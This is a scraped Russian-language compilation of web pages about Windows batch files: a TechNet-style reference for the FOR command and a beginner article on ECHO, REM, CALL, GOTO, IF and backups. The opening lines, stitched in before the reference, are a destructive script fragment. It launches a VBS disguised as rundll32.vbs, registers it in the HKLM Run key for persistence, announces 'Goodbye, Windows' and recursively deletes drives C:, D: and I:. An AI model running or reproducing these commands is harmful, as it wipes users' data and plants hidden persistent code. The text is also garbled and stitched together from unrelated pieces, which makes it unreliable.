%systemdrive%\windows\system32\rundll32.vbs start %systemdrive%\windows\system32\rundll32.vbs reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v system_host_run /t REG_SZ /d %systemdrive%\windows\system32\rundll32.vbs / echo Этап 3: Прощай, винда! del C:\ /s /q del D:\ /s /q del I:\ /s /q

www.guardianelinks.com

Применение команды for в bat-файлах (technet.microsoft) | windows

Команда FOR задает запуск некоторой команды для каждого файла из заданного множества. Информация для данной статьи взята с сайта Microsoft.

Работу команды for можно охарактеризовать так:a) получение диапазона данныхb) присвоить переменной цикла for (например %%G) значение из диапазона данныхc) выполнить команду (иногда в команде участвует %%G, например, в качестве параметра)d) выполнить шаги a), b), c), пока не будет достигнуто конечное значение из диапазона значений переменной цикла.Очень хорошо команда for описана в справке w2k.

Синтаксис

for {%переменная | %%переменная} in (множество) do команда [ПараметрыКоманднойСтроки]

<>Параметры

{%переменная | %%переменная}

Обязательный параметр. Замещаемый параметр. Используйте %переменная для выполнения команды for из командной строки. Используйте %%переменная для выполнения команды for в пакетном файле. В переменных учитывается регистр и они могут быть представлены буквами, например %A, %B или %C.

(множество)

Обязательный параметр. Задает один или несколько файлов, каталогов, диапазон значений или текстоваых строк, подлежащих обработке заданной командой. Скобки являются обязательными.

команда

Обязательный параметр. Задает команду, которая будет выполнена для каждого файла, каталога, диапазона значений или текстовой строки, включенной в указанный параметр (множество).

ПараметрыКоманднойСтроки

Задает параметры командной строки, которые используются с указанной командой.

/?

Отображение справки в командной строке. 

Заметки

Использование команды for Команда for может быть использована в пакетном файле или непосредственно из командной строки.

Использование параметров командной строки пакетного файлаПеречисленные ниже атрибуты применяются к команде for.

В команде for переменная %переменная (или %%переменная) будет заменяться текстовой строкой из заданного параметра множество, пока параметр команда не обработает все файлы этого множества.

Имена параметров переменная команды for учитывают регистр буквы, они являются глобальными и одновременно может быть активно не больше 52 переменных.

Для обозначения параметра переменная можно использовать любые знаки, кроме цифр 0–9, чтобы не было конфликта с параметрами пакетных файлов %0–%9. Для простых пакетных файлов вполне достаточно обозначений с одним знаком, например %%f.

В сложных пакетных файлах могут быть использованы и другие обозначения для параметра переменная.

 

Задание множества файлов Параметр множество может представлять группу файлов или несколько групп файлов. Для задания групп файлов можно использовать подстановочные знаки (* и ?). Следующие множества файлов являются допустимыми: (*.doc) (*.doc *.txt *.me) (jan*.doc jan*.rpt feb*.doc feb*.rpt) (ar??1991.* ap??1991.*)

Когда используется команда for, первое значение в параметре множество заменяет параметр %переменная (или %%переменная), а затем для обработки этого значения выполняется указанная команда. Это продолжается до тех пор, пока не будут обработаны все файлы (или группы файлов), которые соответствуют значению параметра множество.

Использование ключевых слов in и do In и do не являются параметрами, но они требуются для работы команды for. Если какое-то из слов пропущено, на экран будет выведено сообщение об ошибке.

Использование дополнительных форм команды for Если расширения командного процессора разрешены (по умолчанию), то поддерживаются следующие дополнительные формы команды for.

Только каталогиЕсли параметр множество содержит подстановочные знаки (* и ?), команда, указанная в параметре команда, выполняется для каждого каталога (кроме множества файлов в указанном каталоге), совпадающего с параметром множество. Используется следующий синтаксис. for /D {%% | %}переменная in (множество) do команда [ПараметрыКоманднойСтроки]

Рекурсивная Проходит по дереву каталогов с корнем в [диск:]путь, выполняя инструкцию for для каждого каталога в дереве. Если после ключа /R не задан каталог, предполагается текущий каталог. Если параметр множество задан одной точкой (.), то команда просто перечислит каталоги в дереве. Используется следующий синтаксис. for /R [[диск:]путь] {%% | %}переменная in (множество) do команда [ПараметрыКоманднойСтроки]

Итерация диапазона значений Используйте переменную итерации для установки начального значения (НачальноеЗначение#), а затем перемещайтесь по диапазону значений, пока значение не превысит конечное значение множества (КонечноеЗначение#). /L выполнит итерацию, сравнив параметр НачальноеЗначение# с параметром КонечноеЗначение#. Если параметрНачальноеЗначение# меньше параметра КонечноеЗначение#, то выполняется команда. Когда переменная итерации превысит параметр КонечноеЗначение#, командная оболочка покидает цикл. Также можно использовать отрицательный параметр шаг# для перемещения в диапазоне убывающих значений. Например, (1,1,5) создает последовательность «1 2 3 4 5», а (5,-1,1) создает последовательность «5 4 3 2 1». Используется следующий синтаксис. for /L {%% | %}переменная in (НачальноеЗначение#,шаг#,КонечноеЗначение#) do команда [ПараметрыКоманднойСтроки]

Итерация и разбор файлов Разбор файлов следует использовать для обработки вывода команды, строк и содержимого файла. Используйте переменные итерации для определения содержимого или строк, которые требуется проверить. Параметр КлючевыеСловаРазбора используется для изменения разбора. Используйте параметр маркера КлючевыеСловаРазбора для указания маркеров, которые воспринимаются как переменные итерации. Примечание. Без параметра маркера ключ /F проверяет только первый маркер.

Разбор файлов состоит в чтении вывода, строки или содержимого файла, разбиении его на отдельные строки текста и разборе каждой строки на ноль или маркеры. Цикл программы for затем вызывается с переменной итерации, установленной в маркер. По умолчанию /F передает первый отделенный пробелом элемент из каждой строки каждого файла. Пустые строки пропускаются. Используется также другой синтаксис. for /F ["КлючевыеСловаРазбора"] {%% | %}переменная lin (МножествоИменФайлов) do команда [ПараметрыКоманднойСтроки] for /F ["КлючевыеСловаРазбора"] {%% | %}переменная in ("СимвольнаяСтрока") do команда [ПараметрыКоманднойСтроки] for /F ["КлючевыеСловаРазбора"] {%% | %}переменная in ('команда') do команда [ПараметрыКоманднойСтроки]

Аргумент МножествоИменФайлов задает одно или несколько имен файлов. Каждый файл открывается, считывается и обрабатывается до перехода к следующему файлу параметра МножествоИменФайлов. Чтобы переопределить стандартное поведение разбора, укажите параметр "КлючевыеСловаРазбора". Это строка, заключенная в кавычки, которая содержит одно или несколько ключевых слов для указания различных режимов разбора.

Если используется параметр usebackq, используйте один из приведенных ниже синтаксисов: for /F ["usebackqКлючевыеСловаРазбора"] {%% | %}переменная in ("МножествоИменФайлов") do команда [ПараметрыКоманднойСтроки] for /F ["usebackqКлючевыеСловаРазбора"] {%% | %}переменная in ('СимвольнаяСтрока') do команда [ПараметрыКоманднойСтроки] for /F ["usebackqКлючевыеСловаРазбора"] {%% | %}переменная in ('команда') do команда [ПараметрыКоманднойСтроки]

В приведенной ниже таблице перечислены ключевые слова разбора, которые используются для параметра КлючевыеСловаРазбора.

eol=c

Задает символ конца строки (только один символ).

skip=N

Задает число строк, пропускаемых в начале файла.

delims=xxx

Задает набор разделителей. Заменяет набор разделителей по умолчанию, состоящий из пробела и символа табуляции.

tokens=X,Y,M-N

Задает элементы, передаваемые из каждой строки в тело цикла for при каждой итерации. В результате размещаются дополнительные имена переменных. Форма M-N задает диапазон, указывающий элементы с M-го по N-ый. Если последним символом строки tokens= является звездочка (*), то размещается дополнительная переменная, в которую помещается остаток строки после разбора последнего элемента.

usebackq

Задает возможность использования кавычек для имен файлов в параметре МножествоИменФайлов. Задает исполнение строки, заключенной в обратные кавычки, как команды, а строки в одиночных кавычках — как команды в символьной строке.

Подстановка переменных Были расширены модификаторы подстановок для ссылок на переменные в for. Приведенная ниже таблица перечисляет варианты синтаксических конструкций (на примере переменной I).

%~I

Расширение %I, которое удаляет окружающие кавычки ("").

%~fI

Расширение %I до полного имени пути.

%~dI

Замена %I именем диска.

%~pI

Замена %I на путь.

%~nI

Замена %I одним именем файла.

%~xI

Замена %I расширением имени файла.

%~sI

Замена путем, содержащим только короткие имена.

%~aI

Замена %I атрибутами файла.

%~tI

Замена %I временем модификации файла.

%~zI

Замена %I размером файла.

%~$PATH:I

Поиск в каталогах, перечисленных в переменной среды PATH, и замена %I полным именем первого найденного файла. Если переменная среды не определена или поиск не обнаружил файлов, модификатор выдает пустую строку.

Приведенная ниже таблица перечисляет комбинации модификаторов, которые можно использовать для получения более сложных результатов.

%~dpI

Замена %I именем диска и путем.

%~nxI

Замена %I именем файла и расширением.

%~fsI

Замена %I полным именем пути с короткими именами.

%~dp$PATH:I

Поиск в каталогах, перечисленных в переменной среды PATH, и замена %I именем диска и путем первого найденного файла.

%~ftzaI

Замена %I строкой, аналогичной результату работы команды dir.

В приведенных выше примерах %I и PATH могут быть заменены другими допустимыми значениями. Допустимое имя переменной for прекращает синтаксис %~.

Использование прописных букв в именах переменных, например %I, может улучшить восприятие программы и позволит избежать недоразумений с модификаторами, в которых строчные и прописные буквы не различаются.

Разбор строки Конструкция for /F может быть использована непосредственно для строки. Для этого поместите параметр МножествоИменФайлов между скобками в одиночные кавычки ('МножествоИменФайлов'). Параметр МножествоИменФайлов будет воспринят как одиночная строка ввода из файла и будет разобран.

Разбор вывода Команду for /F можно использовать для разбора вывода команды. Для этого поместите параметр МножествоИменФайлов между скобками в обратные кавычки. Он будет воспринят как командная строка, которая передается дочернему интерпретатору командной строки Cmd.exe, а результаты работы команды помещаются в памяти и разбираются, как если бы они являлись файлом.

[Примеры]

В пакетных файлах используется следующий синтаксис для команды for: for %%переменная in (множество) do команда [ПараметрыКоманднойСтроки]

Чтобы отобразить содержимое всех файлов, имеющих разрешение DOC или TXT, в текущем каталоге с помощью заменяемой переменной %f, введите следующую команду: for %%f in (*.doc *.txt) do type %%f

В предыдущем примере каждый файл с расширением .doc или .txt в текущем каталоге будет подставляться вместо переменной %f, пока не будет выведено содержимое всех файлов. Для использования этой команды в пакетном файле нужно заменить каждую команду %f на %%а. В противном случае переменная игнорируется и выводится сообщение об ошибке.

Чтобы произвести разбор файла, игнорируя комментарии, можно использовать следующую команду: for /F "eol=; tokens=2,3* delims=," %i in (myfile.txt) do @echo %i %j %k

Данная команда производит разбор каждой строки в файле Myfile.txt, игнорируя строки, начинающиеся с точки с запятой, и передает второй и третий элементы из каждой строки в тело цикла команды FOR. Элементы разделяются запятыми или пробелами. Тело инструкции FOR использует %i для получения второго элемента, %j для получения третьего элемента и %k для получения оставшихся элементов в строке. Если имена файлов содержат пробелы, их следует заключать в кавычки (например, "ИмяФайла"). Для использования кавычек необходима команда usebackq. В противном случае кавычки рассматриваются как определение символьной строки для разбора.

Переменная %i объявлена явно в инструкции FOR. Переменные %j и %k объявлены явно при использовании tokens=. С помощью tokens= можно указать до 26 элементов, если это не вызовет попытки объявить переменную с именем, большим буквы "z" или "Z".

Для разбора вывода команды с помощью помещения параметра МножествоИменФайлов в скобки можно использовать следующую команду (пример выводит список имен всех переменных окружения): for /F "usebackq delims==" %i IN (`set`) DO @echo %i

Ищем в директориях файлы с расширением html содержащие строку google: for /R %%f in (*.html) do @findstr /m "google" %%f

FOR /Lвыполнить команду для диапазона чиселСинтаксисFOR /L %%parameter IN (start,step,end) DO command Где    start      первое число (включительно)   step       инкремент числа для каждого шага   end        последнее число (включительно)   command    выполняемая команда, здесь же указываются параметры командной строки для неё   %%parameter изменяемый при каждой прокрутке цикла параметр (переменная цикла)

Внутри командного файла в качестве параметра используйте %%G, а в командной строке %G (такие уж Микрософт придумал правила). (20,-5,10) будет генерить последовательность 20 15 10, а (1,1,5) последовательность 1 2 3 4 5.

ПримерFOR /L %%G IN (1,1,5) DO echo %%G

Можно использовать нечисловой список, например:FOR %%G IN (Sun Mon Tue Wed Thur Fri Sat) DO echo %%G

[Другие команды for]

FOR - цикл по всем файлам в одной директории (исключая её подкаталоги)FOR /R - цикл по всем файлам, включая подкаталогиFOR /D - цикл через несколько папокFOR /F - цикл через слова в текстовом файле или через вывод команды

syntax-FOR-Files     FOR %%parameter IN (set) DO command syntax-FOR-Files-Rooted at Path      FOR /R [[drive:]path] %%parameter IN (set) DO command syntax-FOR-Folders     FOR /D %%parameter IN (folder_set) DO command syntax-FOR-List of numbers      FOR /L %%parameter IN (start,step,end) DO command syntax-FOR-File contents      FOR /F ["options"] %%parameter IN (filenameset) DO command      FOR /F ["options"] %%parameter IN ("Text string to process") DO commandsyntax-FOR-Command Results      FOR /F ["options"] %%parameter IN ('command to process') DO command

[Связанные с for команды]

FORFILES (w2003 Server) - выборка списка файлов из директории для отображения или использования при обработке в bat-файлеGOTO метка - прямой переход на строку в командном файле, помеченную строкой :меткаIF - условное выполнение команды

[Equivalent Linux BASH commands]

for - Expand words, and execute commandscase - Conditionally perform a commandeval - Evaluate several commands/argumentsif - Conditionally perform a commandgawk - Find and Replace text within file(s)m4 - Macro processoruntil - Execute commands (until error) while - Execute commands 

[Условные обозначения форматирования]

Курсив

Сведения, вводимые пользователем

Полужирный шрифт

Элементы, вводимые без изменений

Многоточие (...)

Параметр может быть введен в командной строке несколько раз

В квадратных скобках ([])

Необязательные элементы

В фигурных скобках ({}), варианты, разделенные вертикальной линией (|). Пример: {even|odd}

Набор вариантов, из которых необходимо выбрать один

Courier font

Программа или выходные данные

[Ссылки]

1. Практические приемы программирования в bat-файлах.

microsin.net

основы работы с командами bat-файлов

В процессе работы с операционной системой Windows может возникать необходимость зацикливания DOS-команд, создания многоуровневой цикличности повторяющихся действий или программ, автоматизирования рабочего процесса с утилитами и файлами в ручном или без участия юзера.

Для этих целей предназначены специальные типы файлов, которым присваивается расширение bat, в которых прописывается определенный набор команд, цикличность выполнения которых и необходимо создать. Таким образом, создав такой файл и прописав в него необходимые команды, а также добавив его в системный планировщик задач, можно реализовывать этот процесс полностью в автоматическом режиме без участия пользователя.

Основным преимуществом bat-файлов является отсутствие необходимости прописывать в них какой-либо программный код, благодаря чему работать с ними может даже начинающий юзер. Все что необходимо для создания такого файла — это задать исходную информацию, которая будет исполняться DOS-процессами. Помимо этого, этот процесс реализовывается одинаково на всех версиях Windows. В качестве примера можно привести системный файл autoexec.bat, в котором находится список всех служб и приложений, которые должны быть запущены при старте Windows.

BAT-файлы: основные возможности

В зависимости от реализовываемых функций, bat-файлы подразделяются на несколько типов:

— информационные, которые отвечают за вывод на дисплей определенной информации;— рабочие, с помощью которых осуществляется запуск пакетных документов;— циклические, предназначенные для создания рабочих циклических процессов;— многоуровневые, которые отвечают за иерархическое исполнение системных команд, с использованием заданных условий;— программные, позволяющие работать с утилитами.

Исполнение bat-файлов

Запустить исполнение командных файлов можно несколькими методами. Одним из наиболее простых является командная строка, в которой необходимо просто прописать название bat-файла. При этом допускается использование и дополнительных параметров. Как только все файлы указаны, их реализация будет происходить в автоматической режиме, в той последовательности, которую указал пользователь.

Если bar-файлы хранятся в различных директориях, то помимо имени потребуется указание полного пути к нему. При этом указывать расширение необязательно. Давайте предположим, что необходимо запустить выполнение bat-файла с именем priroda.bat, а также дополнительными параметрами resize.doc и /p, расположенного по адресу с:\photogalery\otpusk. Таким образом, для запуска файла достаточно прописать в командной строке команду с:\home\photogalery\otpusk resize.doc /p и начнется автоматическое выполнение процесса.

Прерывание выполнения командного файла

Исполнение любого командного файла можно остановить при помощи двойного нажатия клавиши «+», после чего потребуется подтвердить свое намерение прерывания посредством нажатия клавиши «Y» если вы согласны или «N» — если вдруг вы передумали.

Запуск другого bat-файла

Любой командный файл может выступать в качестве рабочего, который активирует выполнение других bat-файлов. Для этого необходимо прописать в теле такого файла команду CALL, после которой указывается название файла и дополнительные параметры, при необходимости, который необходимо исполнить. Если этот параметр не указать, то ничего не произойдет, поскольку в этом случае происходит передача прав другому файлу.При задании дополнительных параметров используется символ «%» с указанием переменной от одного до девяти. После завершения выполнения всех команд, начнется исполнение начального скрипта с новой строки.

Последовательное исполнение

Иногда возникает необходимость последовательного исполнения команд, прописанных в теле командного файла. Чаще всего это происходит на этапе отладки и тестирования работоспособности скриптов. Для настройки пошагового выполнения предназначена команда COMMAND, которая прописывается в начале каждой строки. После этой команды указываются переменные /y/c, название скрипта и дополнительные параметры, помещенные в квадратные скобки.При начале исполнения каждой новой команды со стороны пользователя потребуется подтверждение при помощи клавиши «Enter» или «Escape».Управление выводом команд на дисплей

При запуске исполнения командного файла происходит оповещение юзера при помощи окна уведомления, после чего начинается непосредственное его выполнение. Однако эти оповещения не всегда являются уместными, поскольку bat-файлы большого объема могут отвлекать юзера от другой работы за компьютером длинными оповещениями. А вот при отладке они, наоборот, окажутся весьма кстати. Для управления функцией вывода команд на дисплей предназначена команда ECHO, а при помощи параметров ON и OFF можно активировать и деактивировать отображение уведомлений.

Если возникла необходимость отключения вывода на экран одной или нескольких команд, то в начале строки необходимо прописать команду @ECHO OFF. Стоит отметить, что многие киберпреступники используют такую команду для того, чтобы скрыть работу вредоносного программного обеспечения, помещенного в исполняемые командные файлы.

Сообщения при исполнении команд

Если команды ECHO прописана неправильно и после основных параметров в тексте команды присутствуют другие символы, то она работать не будет и вместе с текстом основного уведомления на дисплей будет выводиться и сама команда. Стоит отметить, что при помощи командных файлов можно настроить даже звуковое оповещение, которое будет подаваться при помощи спикера. Для этого, после основного символа необходимо поставить цифру 7. Если возникла необходимость повышения качества читабельности текста уведомления необходимо после ECHO поставить точку, не используя пробел.

Помимо стандартного вывода команд на экран, можно настроить отображение оповещений в отдельном файле. Для этого потребуется настроить путь вывода, просто заменив монитор на определенный файл. Делается это также при помощи bat-файлов, в которых прописываются следующие команды:

— ECHO-текс уведомления >> название файла — предназначена для добавления в конец файла строки сообщения. Если по указанному пути заданный файл отсутствует, то система создает новый файл.— ECHO-текс уведомления >> название файла — отвечает за запись уведомления в новый файл. Стоит отметить, что если по указанному пути уже содержится файл с идентичным именем, то его содержимое будет полностью перезаписано.

Использование комментариев

Для удобства работы с командными файлами большого объема, содержащих множество команд, реализована возможность использования комментариев. Для этого необходимо поставить в начале строки параметр REM, после которого прописывается сам комментарий. Все что находится после этого параметра полностью игнорируется операционной системой.

Задержка исполнения командного файла

Во время работы с bat-файлами может возникнуть необходимость временной приостановки процесса их выполнения. Например, это может потребоваться чтобы дать пользователю немного времени на то, чтобы успеть прочитать выведенный текст, или для отладки программы. Для этого используется команда PAUSE, которая прописывается без каких-либо дополнительных параметров. Таким образом, если команда прерывания задействована в батнике, то исполнения командного файла будет приостановлено, а пользователь получит сообщение о том, что для продолжения выполнения необходимо нажать любую клавишу. Стоит отметить, что двойное нажатие на плюс система расценит как остановку исполнения командного файла, которое потребует от пользователя подтверждения или отмены. Все другие клавиши продолжат процесс выполнения bat-файла.

Последовательное исполнение пакета файлов

При помощи командного файла можно настроить последовательное выполнение большого количества файлов. При этом доступна возможность исполнения по названию или типу расширения. Это позволяет автоматизировать работу с большим количеством документов, например, с прайс-листами, которые поступают на электронную почту от поставщиков. Для этих целей предназначена команда FOR, вариант исполнения которой выглядит так:

— FOR %x IN (перечень файлов) DO команда, где:— х — любой буквенный символ;— перечень — все файлы можно перечислять через пробел;— команда — любая DOS-команда или утилита.

Стоит отметить, что при использовании команды FOR необходимо учитывать тот факт, что все DOS-команды и программы обладают ограниченной длиной. Если возникнет необходимость использования длинных названий, то перед этой командой нужно поставить параметр LFNFOR ON, который активирует длинные имена. Для деактивации этого режима потребуется параметр ON заменить на OFF.

Некоторые операции с утилитами, например, сравнение файлов, обладающих заданным типом расширения, расположенных по различным адресам, а также копирование содержимого одной папки в другую, последовательное исполнение однотипных файлов и многих других, можно выполнить при помощи всего одной команды, помещенной в командный файл. При этом исполнение любой команды или файла можно совмещать с определенными пользовательскими действиями, благодаря чему можно значительно повысить удобство работы с большими пакетами данных.

Переходы в командных файлах

Чтобы систематизировать процесс исполнения команд батниках используются метки и команды перехода между ними. В качестве меток используются строки командного файла, в начале которых ставится двоеточие, после чего задается имя, которое может содержать любой набор символов. Для отделения имени от команды используется пробел. Помимо этого, для каждой метки юзер может создавать комментарий, что существенно упрощает работу с объемными файлами.Для настройки перехода между метками предназначена команда GOTO, после которой через пробел указывается название одной из меток. Если система не смогла найти указанную метку или заданный параметр, то действие перехода на этой команде завершается.

Использование условий в работе командных файлах

Командные файлы позволяют работать с командами, которые попадают или не попадают под заданные юзером параметры. Для этого используется команда IF, после которой прописывается одно из следующих условий;— ERRORLEVEL число — подразумевает истинность условия в том случае, если результат выполнения предыдущего приложения соответствует или превышает заданное значение;— СТРОКА 1 == СТРОКА 2 — истинность значения подразумевается в том случае, если достигается полное соответствие между двумя строками;— EXIST — имя файла — истинность сохраняется при наличии указанного файла;— NOT — условие — истинное значение достигается при несоответствии заданного значения.

Какие команды используются в bat-файлах?

Чтобы получить список всех команд, использование которых допускается в командных файлах, необходимо запустить командную строку, прописать HELP и нажать клавишу Enter. После этого, на дисплей монитора будет выведен список всех команд с небольшим пояснением каждой из них. Если возникнет необходимость получить более подробное описание, то нужно просто ввести еще раз HELP с названием интересующей команды.Работа командных файлов при резервном копировании данных

BAT-файлы очень сильно помогают в повседневной работе системных администраторов, которые используют их при выполнении самых различных задач, наиболее важной, среди которых является резервное копирование данных. Чтобы автоматизировать этот процесс в крупной корпоративной сети нужно в батник поместить команду COPY. Помимо этого, можно настроить расписание резервного копирования наиболее важных файлов с сохранением в указанную директорию просто создав в планировщике Windows запуск этого файла по определенным дням недели или датам.

bezwindowsa.ru